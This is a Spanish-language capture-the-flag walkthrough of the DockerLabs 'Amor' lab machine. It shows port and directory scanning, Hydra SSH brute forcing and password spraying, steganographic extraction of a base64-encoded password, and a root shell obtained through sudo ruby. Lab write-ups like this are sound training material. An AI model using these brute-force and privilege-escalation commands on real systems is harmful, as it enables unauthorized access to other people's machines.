Amor - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | Romabri |
Reconocimiento
Iniciamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo mediante Nmap.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
22(SSH)80(HTTP)
A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p 21,80 -sCV 172.17.0.2 -oG targeted
Exploración Web
La página web parece no ser completamente funcional y muestra algunos registros internos de la empresa.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Parece ser que la pagina solo contiene la pagina que tenemos delante. Si observamos podemos ver varios usuarios.
Fuerza bruta
Ya que hemos identificado varios usuarios en el reconocimiento previo, decidimos hacer fuerza bruta sobre el usuario carlota utilizando Hydra. Este usuario parece ser uno de los empleados visibles en la página.
hydra -l 'carlota' -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 4
Después de ejecutar el ataque, encontramos las credenciales correctas para el usuario carlota.
Usuario carlota
Ya que hemos obtenido su contraseña accederemos por ssh a su usuario.
ssh carlota@172.17.0.2
Vamos a empezar a ver como podemos escalar , para ello empezamos con sudo -l pero parece que no tenemos permisos.
Vamos a mirar que contiene su directorio , por si tiene algo oculto dentro de el
El directorio Desktop el dueño es root y eso es raro ya que tenemos permisos es esa carpeta vamos a ver que contiene.
Tenemos una imagen un poco extraña por lo que nos la pasaremos a nuestro equipo y veremos que contiene.
scp carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg .
Esteganografía
Vamos a ver si esa imagen contiene algo oculto.
steghide --extract -sf imagen.jpg
Nos pide una contraseña si no ponemos nada , nos descarga un archivo llamado secret.txt.
Al ver que contiene el archivo , por el = del final se podria pensar que esta encriptado en base64:
echo "ZXNsYWNhc2FkZXBpbnlwb24=" | base64 -d; echo
Tenemos una contraseña lo que no sabemos es de que usuario , por lo que veremos que usuarios tenemos desde el usuario carlota.
Ya que tenemos esos tres usuarios los guardamos en usuarios.txt.
Y ahora con hydra comprobamos si esa contraseña es de algun usuario.
hydra -L usuarios.txt -p 'eslacasadepinypon' ssh://172.17.0.2 -t 5
Como podemos ver esa contraseña es del usuario oscar.
Usuario Oscar
Hemos conseguido acceso al sistema con el usuario Oscar.
script /dev/null -c bash
Si ejecutamos el comando sudo -l, vemos que podemos ejecutar ruby como root. Si no sabemos como abusar de esto, siempre podemos recurrir a GTFOBins.
Para generar una shell como root debemos de poner lo siguiente:
sudo ruby -e 'exec "/bin/sh"'
Y ya seriamos root.